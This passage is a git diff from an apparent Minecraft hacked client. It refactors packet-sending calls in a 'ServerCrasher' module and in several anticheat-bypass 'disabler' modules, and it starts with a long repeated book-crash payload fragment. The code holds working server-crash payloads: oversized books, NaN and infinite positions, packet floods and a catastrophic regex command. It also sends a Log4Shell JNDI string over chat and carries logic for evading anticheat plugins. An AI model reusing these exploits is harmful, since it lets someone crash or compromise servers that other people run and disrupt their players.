,text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}" private fun getBook(type: String = bookTypeValue.get().lowercase()): ItemStack { return when (type) { @@ -85,6 +98,7 @@ object ServerCrasher : Module() { bookStack } + "netty" -> { val book3 = ItemStack(Items.writable_book) val author = "Netty$BOOK_SIZE" @@ -107,6 +121,7 @@ object ServerCrasher : Module() { book3 } + "json" -> { val tag = NBTTagCompound() val list = NBTTagList() @@ -122,6 +137,7 @@ object ServerCrasher : Module() { book } + "random" -> getBook(bookTypeValue.values[RandomUtils.nextInt(0, bookTypeValue.values.size)]) else -> throw IllegalArgumentException("Invalid book type: ${bookTypeValue.get()}") } @@ -150,49 +166,85 @@ object ServerCrasher : Module() { } "log4j" -> { - val str = "\${jndi:ldap://192.168.${RandomUtils.nextInt(1,253)}.${RandomUtils.nextInt(1,253)}}" - mc.netHandler.addToSendQueue(C01PacketChatMessage(when(log4jModeValue.get().lowercase()) { - "chat" -> "${RandomUtils.randomString(5)}$str${RandomUtils.randomString(5)}" - "command" -> "/tell ${RandomUtils.randomString(10)} $str" - else -> str - })) + val str = "\${jndi:ldap://192.168.${RandomUtils.nextInt(1, 253)}.${RandomUtils.nextInt(1, 253)}}" + mc.netHandler.addToSendQueue( + C01PacketChatMessage( + when (log4jModeValue.get().lowercase()) { + "chat" -> "${RandomUtils.randomString(5)}$str${RandomUtils.randomString(5)}" + "command" -> "/tell ${RandomUtils.randomString(10)} $str" + else -> str + } + ) + ) } "aacnew" -> { // Spam positions var index = 0 while (index < 9999) { - PacketUtils.sendPacketNoEvent(C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX + 9412 * index, mc.thePlayer.entityBoundingBox.minY + 9412 * index, mc.thePlayer.posZ + 9412 * index, true)) + PacketUtils.sendPacket( + C03PacketPlayer.C04PacketPlayerPosition( + mc.thePlayer.posX + 9412 * index, + mc.thePlayer.entityBoundingBox.minY + 9412 * index, + mc.thePlayer.posZ + 9412 * index, + true + ), false + ) ++index } } + "chunkloadexploit" -> { var index = 0 while (index < 9999) { - PacketUtils.sendPacketNoEvent(C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX,mc.thePlayer.posY,mc.thePlayer.posZ, - (0x6DDF0D05L and 0x7DEE0D47L).toInt() xor ((-1651917850).toLong() xor (-263735582).toLong()) as Int != 0 - )) + PacketUtils.sendPacket( + C03PacketPlayer.C04PacketPlayerPosition( + mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, + (0x6DDF0D05L and 0x7DEE0D47L).toInt() xor ((-1651917850).toLong() xor (-263735582).toLong()) as Int != 0 + ), false + ) ++index } } "mathoverflow" -> { - PacketUtils.sendPacketNoEvent(C03PacketPlayer.C04PacketPlayerPosition(1.7976931348623157E+308, 1.7976931348623157E+308, 1.7976931348623157E+308, true)) + PacketUtils.sendPacket( + C03PacketPlayer.C04PacketPlayerPosition( + 1.7976931348623157E+308, + 1.7976931348623157E+308, + 1.7976931348623157E+308, + true + ), false + ) } "aacother" -> { // Spam positions var index = 0 while (index < 9999) { - PacketUtils.sendPacketNoEvent(C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX + 500000 * index, mc.thePlayer.entityBoundingBox.minY + 500000 * index, mc.thePlayer.posZ + 500000 * index, true)) + PacketUtils.sendPacket( + C03PacketPlayer.C04PacketPlayerPosition( + mc.thePlayer.posX + 500000 * index, + mc.thePlayer.entityBoundingBox.minY + 500000 * index, + mc.thePlayer.posZ + 500000 * index, + true + ), false + ) ++index } } "aacold" -> { // Send negative infinity position - PacketUtils.sendPacketNoEvent(C03PacketPlayer.C04PacketPlayerPosition(Double.NEGATIVE_INFINITY, Double.NEGATIVE_INFINITY, Double.NEGATIVE_INFINITY, true)) + PacketUtils.sendPacket( + C03PacketPlayer.C04PacketPlayerPosition( + Double.NEGATIVE_INFINITY, + Double.NEGATIVE_INFINITY, + Double.NEGATIVE_INFINITY, + true + ), false + ) } "worldedit" -> { @@ -204,9 +256,8 @@ object ServerCrasher : Module() { // Send crash command mc.thePlayer.sendChatMessage("/mv ^(.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.++)$^") } - - - + + "bukkitbd" -> { //mc.thePlayer.sendChatMessage("/bukkit:help\//\/"+"$"+"a&m0xDEBukkit:"+"/"+"\\"+"Queue*"+"$"+"a&m0xENRunCommand"+"$"+"a&m0xDE/shutdown"+"$"+"a&m"+"$"+"0x0Unpoll") } @@ -220,14 +271,28 @@ object ServerCrasher : Module() { // Flight up into sky var yPos = mc.thePlayer.posY while (yPos < 255) { - PacketUtils.sendPacketNoEvent(C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, yPos, mc.thePlayer.posZ, true)) + PacketUtils.sendPacket( + C03PacketPlayer.C04PacketPlayerPosition( + mc.thePlayer.posX, + yPos, + mc.thePlayer.posZ, + true + ), false + ) yPos += 5.0 } // Flight over world var i = 0 while (i < 1337 * 5) { - PacketUtils.sendPacketNoEvent(C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX + i, 255.0, mc.thePlayer.posZ + i, true)) + PacketUtils.sendPacket( + C03PacketPlayer.C04PacketPlayerPosition( + mc.thePlayer.posX + i, + 255.0, + mc.thePlayer.posZ + i, + true + ), false + ) i += 5 } } @@ -237,24 +302,28 @@ object ServerCrasher : Module() { @EventTarget fun onUpdate(event: UpdateEvent) { when (modeValue.get().lowercase()) { - + "Rotation" -> { - PacketUtils.sendPacketNoEvent(C03PacketPlayer.C05PacketPlayerLook(9.223372E18F, 9.223372E18F, true)); + PacketUtils.sendPacket(C03PacketPlayer.C05PacketPlayerLook(9.223372E18F, 9.223372E18F, true),false) } - + "inventory" -> { - if(nowInv != -1 && invSlots.isNotEmpty()) { + if (nowInv != -1 && invSlots.isNotEmpty()) { var count = 0 while (true) { invSlots.forEach { (slot, item) -> // click on window - mc.netHandler.addToSendQueue(C0EPacketClickWindow(nowInv, slot, 0, 0, item, if(slientInventoryValue.get()) { - RandomUtils.nextInt(0, Short.MAX_VALUE.toInt()).toShort() - } else { - mc.thePlayer.openContainer.getNextTransactionID(mc.thePlayer.inventory) - })) + mc.netHandler.addToSendQueue( + C0EPacketClickWindow( + nowInv, slot, 0, 0, item, if (slientInventoryValue.get()) { + RandomUtils.nextInt(0, Short.MAX_VALUE.toInt()).toShort() + } else { + mc.thePlayer.openContainer.getNextTransactionID(mc.thePlayer.inventory) + } + ) + ) count++ - if(count >= packetAmountValue.get()) { + if (count >= packetAmountValue.get()) { return } } @@ -266,36 +335,94 @@ object ServerCrasher : Module() { val bookStack = getBook() repeat(packetAmountValue.get()) { - when(bookModeValue.get().lowercase()) { + when (bookModeValue.get().lowercase()) { "payload" -> { val packetBuffer = PacketBuffer(Unpooled.buffer()) packetBuffer.writeItemStackToBuffer(bookStack) - PacketUtils.sendPacketNoEvent(C17PacketCustomPayload(if (Random().nextBoolean()) "MC|BSign" else "MC|BEdit", packetBuffer)) + PacketUtils.sendPacket( + C17PacketCustomPayload( + if (Random().nextBoolean()) "MC|BSign" else "MC|BEdit", + packetBuffer + ), + false + ) } + "itemuse" -> { - PacketUtils.sendPacketNoEvent(C08PacketPlayerBlockPlacement(bookStack)) + PacketUtils.sendPacket(C08PacketPlayerBlockPlacement(bookStack),false) } + "blockclick" -> { - PacketUtils.sendPacketNoEvent(C08PacketPlayerBlockPlacement(BlockPos(RandomUtils.nextInt(-100000, 100000), RandomUtils.nextInt(-100000, 100000), RandomUtils.nextInt(-100000, 100000)), 1, bookStack, 0.0f, 0.0f, 0.0f)) + PacketUtils.sendPacket( + C08PacketPlayerBlockPlacement( + BlockPos( + RandomUtils.nextInt( + -100000, + 100000 + ), RandomUtils.nextInt(-100000, 100000), RandomUtils.nextInt(-100000, 100000) + ), 1, bookStack, 0.0f, 0.0f, 0.0f + ), + false + ) } + "lpx" -> { - PacketUtils.sendPacketNoEvent(C08PacketPlayerBlockPlacement(BlockPos(RandomUtils.nextInt(-100000, 100000), RandomUtils.nextInt(-100000, 100000), RandomUtils.nextInt(-100000, 100000)), 1, bookStack, 0.0f, 0.0f, 0.0f)) + PacketUtils.sendPacket( + C08PacketPlayerBlockPlacement( + BlockPos( + RandomUtils.nextInt( + -100000, + 100000 + ), RandomUtils.nextInt(-100000, 100000), RandomUtils.nextInt(-100000, 100000) + ), 1, bookStack, 0.0f, 0.0f, 0.0f + ), + false + ) val packetBuffer = PacketBuffer(Unpooled.buffer()) packetBuffer.writeItemStackToBuffer(bookStack) - PacketUtils.sendPacketNoEvent(C17PacketCustomPayload("MC|BEdit", packetBuffer)) + PacketUtils.sendPacket(C17PacketCustomPayload("MC|BEdit", packetBuffer),false) } + "creativewindowclick" -> { - PacketUtils.sendPacketNoEvent(C10PacketCreativeInventoryAction(RandomUtils.nextInt(1, 30), bookStack)) + PacketUtils.sendPacket( + C10PacketCreativeInventoryAction( + RandomUtils.nextInt(1, 30), + bookStack + ) + ,false + ) } + "windowclick" -> { - PacketUtils.sendPacketNoEvent(C0EPacketClickWindow(0, RandomUtils.nextInt(1, 30), 0, 0, bookStack, RandomUtils.nextInt(0, 32767).toShort())) + PacketUtils.sendPacket( + C0EPacketClickWindow( + 0, + RandomUtils.nextInt(1, 30), + 0, + 0, + bookStack, + RandomUtils.nextInt(0, 32767).toShort() + ), + false + ) } + "windowpickup" -> { - PacketUtils.sendPacketNoEvent(C0EPacketClickWindow(0, -999, 0, 5, bookStack, RandomUtils.nextInt(0, 32767).toShort())) + PacketUtils.sendPacket( + C0EPacketClickWindow( + 0, + -999, + 0, + 5, + bookStack, + RandomUtils.nextInt(0, 32767).toShort() + ), + false + ) } } } - if(bookOnlyOnceValue.get()) { + if (bookOnlyOnceValue.get()) { state = false } } @@ -305,8 +432,16 @@ object ServerCrasher : Module() { val y = mc.thePlayer.posY val z = mc.thePlayer.posZ repeat(packetAmountValue.get()) { - PacketUtils.sendPacketNoEvent(C03PacketPlayer.C04PacketPlayerPosition(x, y + 0.09999999999999, z, false)) - PacketUtils.sendPacketNoEvent(C03PacketPlayer.C04PacketPlayerPosition(x, y, z, true)) + PacketUtils.sendPacket( + C03PacketPlayer.C04PacketPlayerPosition( + x, + y + 0.09999999999999, + z, + false + ), + false + ) + PacketUtils.sendPacket(C03PacketPlayer.C04PacketPlayerPosition(x, y, z, true),false) } mc.thePlayer.motionY = 0.0 } @@ -319,56 +454,105 @@ object ServerCrasher : Module() { "swing" -> { repeat(packetAmountValue.get()) { - PacketUtils.sendPacketNoEvent(C0APacketAnimation()) + PacketUtils.sendPacket(C0APacketAnimation(),false) } } "memetrixold" -> { if (mc.thePlayer.ticksExisted % 2 == 0) { - PacketUtils.sendPacketNoEvent(C03PacketPlayer.C04PacketPlayerPosition(RandomUtils.nextDouble(-32768.0, 32768.0), RandomUtils.nextDouble(-32768.0, 32768.0), RandomUtils.nextDouble(-32768.0, 32768.0), true)) + PacketUtils.sendPacket( + C03PacketPlayer.C04PacketPlayerPosition( + RandomUtils.nextDouble( + -32768.0, + 32768.0 + ), + RandomUtils.nextDouble(-32768.0, 32768.0), + RandomUtils.nextDouble(-32768.0, 32768.0), + true + ), + false + ) } } "oldloyisancp" -> { mc.timer.timerSpeed = 0.45f - PacketUtils.sendPacketNoEvent(C03PacketPlayer.C04PacketPlayerPosition(RandomUtils.nextDouble(-1048576.0, 1048576.0), RandomUtils.nextDouble(-1048576.0, 1048576.0), RandomUtils.nextDouble(-1048576.0, 1048576.0), true)) - PacketUtils.sendPacketNoEvent(C03PacketPlayer.C04PacketPlayerPosition(RandomUtils.nextDouble(-65536.0, 65536.0), RandomUtils.nextDouble(-65536.0, 65536.0), RandomUtils.nextDouble(-65536.0, 65536.0), true)) + PacketUtils.sendPacket( + C03PacketPlayer.C04PacketPlayerPosition( + RandomUtils.nextDouble( + -1048576.0, + 1048576.0 + ), + RandomUtils.nextDouble(-1048576.0, 1048576.0), + RandomUtils.nextDouble(-1048576.0, 1048576.0), + true + ), + false + ) + PacketUtils.sendPacket( + C03PacketPlayer.C04PacketPlayerPosition( + RandomUtils.nextDouble( + -65536.0, + 65536.0 + ), RandomUtils.nextDouble(-65536.0, 65536.0), RandomUtils.nextDouble(-65536.0, 65536.0), true + ), + false + ) } "itemswitch" -> { repeat(packetAmountValue.get()) { - PacketUtils.sendPacketNoEvent(C09PacketHeldItemChange(RandomUtils.nextInt(0, 8))) + PacketUtils.sendPacket(C09PacketHeldItemChange(RandomUtils.nextInt(0, 8)),false) } } "itemdrop" -> { mc.netHandler.addToSendQueue(C16PacketClientStatus(C16PacketClientStatus.EnumState.OPEN_INVENTORY_ACHIEVEMENT)) repeat(packetAmountValue.get()) { - PacketUtils.sendPacketNoEvent(C0EPacketClickWindow(0, RandomUtils.nextInt(1, 35), 1, 4, mc.thePlayer.inventory.getCurrentItem(), 0)) + PacketUtils.sendPacket( + C0EPacketClickWindow( + 0, + RandomUtils.nextInt(1, 35), + 1, + 4, + mc.thePlayer.inventory.getCurrentItem(), + 0 + ), + false + ) } mc.netHandler.addToSendQueue(C0DPacketCloseWindow()) } "c08" -> { repeat(packetAmountValue.get()) { - PacketUtils.sendPacketNoEvent(C08PacketPlayerBlockPlacement(mc.thePlayer.currentEquippedItem)) + PacketUtils.sendPacket(C08PacketPlayerBlockPlacement(mc.thePlayer.currentEquippedItem),false) } } "nullc08" -> { repeat(packetAmountValue.get()) { - PacketUtils.sendPacketNoEvent(C08PacketPlayerBlockPlacement(BlockPos(Double.NaN, Double.NaN, Double.NaN), 1, null, 0f, 0f, 0f)) + PacketUtils.sendPacket( + C08PacketPlayerBlockPlacement( + BlockPos( + Double.NaN, + Double.NaN, + Double.NaN + ), 1, null, 0f, 0f, 0f + ), + false + ) } } "commandcomplete" -> { repeat(packetAmountValue.get()) { - PacketUtils.sendPacketNoEvent(C14PacketTabComplete("/${RandomUtils.randomString(100)}")) + PacketUtils.sendPacket(C14PacketTabComplete("/${RandomUtils.randomString(100)}"),false) } } "aacv5" -> { - PacketUtils.sendPacketNoEvent(C03PacketPlayer.C04PacketPlayerPosition(1.7e+301, -999.0, 0.0, true)) + PacketUtils.sendPacket(C03PacketPlayer.C04PacketPlayerPosition(1.7e+301, -999.0, 0.0, true),false) } } @@ -380,7 +564,7 @@ object ServerCrasher : Module() { when (modeValue.get().lowercase()) { "inventory" -> { - if(packet is S2DPacketOpenWindow) { + if (packet is S2DPacketOpenWindow) { nowInv = packet.windowId if (slientInventoryValue.get()) { chat("Inventory opened, sending packets...") @@ -390,7 +574,10 @@ object ServerCrasher : Module() { nowInv = -1 invSlots.clear() } else if (packet is S2FPacketSetSlot) { - if (packet.func_149175_c() == nowInv && packet.func_149174_e() != null && !invSlots.containsKey(packet.func_149173_d())) { + if (packet.func_149175_c() == nowInv && packet.func_149174_e() != null && !invSlots.containsKey( + packet.func_149173_d() + ) + ) { invSlots.put(packet.func_149173_d(), packet.func_149174_e()) } } diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/matrix/MatrixDisabler.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/matrix/MatrixDisabler.kt index d51eb5e..72bfd32 100644 --- a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/matrix/MatrixDisabler.kt +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/matrix/MatrixDisabler.kt @@ -59,7 +59,7 @@ class MatrixDisabler : DisablerMode("Matrix") { if (matrixHotbarChange.get()) for (i in 0..8) { // find an empty inventory slot if(mc.thePlayer.inventory.mainInventory[i] == null && i != mc.thePlayer.inventory.currentItem) { - PacketUtils.sendPacketNoEvent(C09PacketHeldItemChange(i)) + PacketUtils.sendPacket(C09PacketHeldItemChange(i),false) changed = true displayChatMessage("found empty slot $i, switching") break @@ -67,12 +67,12 @@ class MatrixDisabler : DisablerMode("Matrix") { } RotationUtils.serverRotation?.let { C06PacketPlayerPosLook(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, it.yaw, RotationUtils.serverRotation!!.pitch, mc.thePlayer.onGround) } - ?.let { PacketUtils.sendPacketNoEvent(it) } + ?.let { PacketUtils.sendPacket(it,false) } mc.netHandler.addToSendQueue(C08PacketPlayerBlockPlacement(BlockPos(-1, -1, -1), -1, null, 0f, 0f, 0f)) displayChatMessage("sent placement") if (changed) { - PacketUtils.sendPacketNoEvent(C09PacketHeldItemChange(mc.thePlayer.inventory.currentItem)) + PacketUtils.sendPacket(C09PacketHeldItemChange(mc.thePlayer.inventory.currentItem),false) displayChatMessage("switched back") } } diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/other/NoRotationDisabler.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/other/NoRotationDisabler.kt index a8eb7d8..2e24df6 100644 --- a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/other/NoRotationDisabler.kt +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/other/NoRotationDisabler.kt @@ -18,9 +18,9 @@ class NoRotationDisabler : DisablerMode("NoRotation") { when(modifyModeValue.get()) { "ConvertNull" -> { if(packet.isMoving) { - PacketUtils.sendPacketNoEvent(C04PacketPlayerPosition(packet.x, packet.y, packet.z, packet.onGround)) + PacketUtils.sendPacket(C04PacketPlayerPosition(packet.x, packet.y, packet.z, packet.onGround),false) }else { - PacketUtils.sendPacketNoEvent(C03PacketPlayer(packet.onGround)) + PacketUtils.sendPacket(C03PacketPlayer(packet.onGround),false) } event.cancelEvent() } @@ -41,9 +41,9 @@ class NoRotationDisabler : DisablerMode("NoRotation") { "SpoofZero" -> { if(packet.isMoving) { - PacketUtils.sendPacketNoEvent(C06PacketPlayerPosLook(packet.x, packet.y, packet.z, 0.0f, 0.0f, packet.onGround)) + PacketUtils.sendPacket(C06PacketPlayerPosLook(packet.x, packet.y, packet.z, 0.0f, 0.0f, packet.onGround),false) }else { - PacketUtils.sendPacketNoEvent(C06PacketPlayerPosLook(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, 0.0f, 0.0f, packet.onGround)) + PacketUtils.sendPacket(C06PacketPlayerPosLook(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, 0.0f, 0.0f, packet.onGround),false) } event.cancelEvent() } diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/server/HeirteirACDisabler.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/server/HeirteirACDisabler.kt index e688ff0..fbe73a9 100644 --- a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/server/HeirteirACDisabler.kt +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/server/HeirteirACDisabler.kt @@ -32,7 +32,7 @@ class HeirteirACDisabler : DisablerMode("HeirteirAC") { val diff = sqrt(x * x + y * y + z * z) if (diff < 12) { event.cancelEvent() - PacketUtils.sendPacketNoEvent( + PacketUtils.sendPacket( C06PacketPlayerPosLook( packet.x, packet.y, @@ -40,7 +40,8 @@ class HeirteirACDisabler : DisablerMode("HeirteirAC") { packet.getYaw(), packet.getPitch(), !mc.theWorld.isAirBlock(BlockPos(packet.x, packet.y - 0.1, packet.z)) - ) + ), + false ) } } diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/spartan/SpartanCombatDisabler.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/spartan/SpartanCombatDisabler.kt index 5e39a50..5a1b1ad 100644 --- a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/spartan/SpartanCombatDisabler.kt +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/spartan/SpartanCombatDisabler.kt @@ -21,8 +21,8 @@ class SpartanCombatDisabler : DisablerMode("SpartanCombat") { override fun onPacket(event: PacketEvent) { val packet = event.packet if (msTimer.hasTimePassed(3000L) && keepAlives.size > 0 && transactions.size > 0) { - PacketUtils.sendPacketNoEvent(keepAlives[keepAlives.size - 1]) - PacketUtils.sendPacketNoEvent(transactions[transactions.size - 1]) + PacketUtils.sendPacket(keepAlives[keepAlives.size - 1],false) + PacketUtils.sendPacket(transactions[transactions.size - 1],false) disabler.debugMessage("c00 no.${keepAlives.size - 1} sent.") disabler.debugMessage("c0f no.${transactions.size - 1} sent.") keepAlives.clear() diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/verus/OldVerusCustomDisabler.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/verus/OldVerusCustomDisabler.kt index 46f841c..639a68d 100644 --- a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/verus/OldVerusCustomDisabler.kt +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/verus/OldVerusCustomDisabler.kt @@ -11,7 +11,7 @@ import net.ccbluex.liquidbounce.event.PacketEvent import net.ccbluex.liquidbounce.event.WorldEvent import net.ccbluex.liquidbounce.features.module.modules.exploit.disablers.DisablerMode import net.ccbluex.liquidbounce.features.value.BoolValue -import net.ccbluex.liquidbounce.utils.PacketUtils.sendPacketNoEvent +import net.ccbluex.liquidbounce.utils.PacketUtils.sendPacket import net.minecraft.network.Packet import net.minecraft.network.play.client.C03PacketPlayer.C04PacketPlayerPosition import net.minecraft.network.play.client.C0BPacketEntityAction @@ -30,22 +30,24 @@ class OldVerusCustomDisabler : DisablerMode("OldVerusCustomDisabler") { override fun onMove(event: MoveEvent) { if (movementDisabler.value) { if (mc.thePlayer.ticksExisted % 100 == 0) { - sendPacketNoEvent( + sendPacket( C04PacketPlayerPosition( mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, mc.thePlayer.onGround - ) + ), + false ) - sendPacketNoEvent(C04PacketPlayerPosition(mc.thePlayer.posX, -0.015625, mc.thePlayer.posZ, false)) - sendPacketNoEvent( + sendPacket(C04PacketPlayerPosition(mc.thePlayer.posX, -0.015625, mc.thePlayer.posZ, false),false) + sendPacket( C04PacketPlayerPosition( mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, mc.thePlayer.onGround - ) + ), + false ) teleported = true @@ -53,11 +55,12 @@ class OldVerusCustomDisabler : DisablerMode("OldVerusCustomDisabler") { } if (sprintDisabler.value) { - sendPacketNoEvent( + sendPacket( C0BPacketEntityAction( mc.thePlayer, if (mc.thePlayer.ticksExisted % 2 == 0) C0BPacketEntityAction.Action.STOP_SPRINTING else C0BPacketEntityAction.Action.START_SPRINTING - ) + ), + false ) } } diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/verus/OldVerusDisabler.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/verus/OldVerusDisabler.kt index 6f37afe..37f1dac 100644 --- a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/verus/OldVerusDisabler.kt +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/verus/OldVerusDisabler.kt @@ -56,7 +56,7 @@ class OldVerus : DisablerMode("OldVerus") { if(packetBuffer.isNotEmpty()) { val packet = packetBuffer.poll() repeat(repeatTimes) { - PacketUtils.sendPacketNoEvent(packet) + PacketUtils.sendPacket(packet,false) } disabler.debugMessage("Send Packet Buff") } else { @@ -76,7 +76,7 @@ class OldVerus : DisablerMode("OldVerus") { } val packeted = packetBuffer.poll() repeat(repeatTimes) { - PacketUtils.sendPacketNoEvent(packeted) + PacketUtils.sendPacket(packeted,false) } } disabler.debugMessage("Packet C0F IN ${packetBuffer.size}") @@ -95,7 +95,7 @@ class OldVerus : DisablerMode("OldVerus") { if (diff <= 8) { event.cancelEvent() disabler.debugMessage("Silent Flag") - PacketUtils.sendPacketNoEvent( + PacketUtils.sendPacket( C03PacketPlayer.C06PacketPlayerPosLook( packet.x, packet.y, @@ -103,7 +103,7 @@ class OldVerus : DisablerMode("OldVerus") { packet.getYaw(), packet.getPitch(), true - ) + ),false ) } } diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/verus/VerusFixDisabler.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/verus/VerusFixDisabler.kt index 942d63b..903c9ef 100644 --- a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/verus/VerusFixDisabler.kt +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/disablers/verus/VerusFixDisabler.kt @@ -57,9 +57,10 @@ class VerusFixDisabler : DisablerMode("VerusFix") { } if (!motionYValue.get()) return val pos = mc.thePlayer.position.add(0.0, -1.5, 0.0) - PacketUtils.sendPacketNoEvent( + PacketUtils.sendPacket( C08PacketPlayerBlockPlacement(pos, 1, - ItemStack(Blocks.stone.getItem(mc.theWorld, pos)), 0.0F, 0.5F + Math.random().toFloat() * 0.44.toFloat(), 0.0F) + ItemStack(Blocks.stone.getItem(mc.theWorld, pos)), 0.0F, 0.5F + Math.random().toFloat() * 0.44.toFloat(), 0.0F), + false ) } @@ -103,7 +104,7 @@ class VerusFixDisabler : DisablerMode("VerusFix") { if (jam > 20) { jam = 0 event.cancelEvent() - PacketUtils.sendPacketNoEvent( + PacketUtils.sendPacket( C03PacketPlayer.C06PacketPlayerPosLook( x, y, @@ -111,7 +112,8 @@ class VerusFixDisabler : 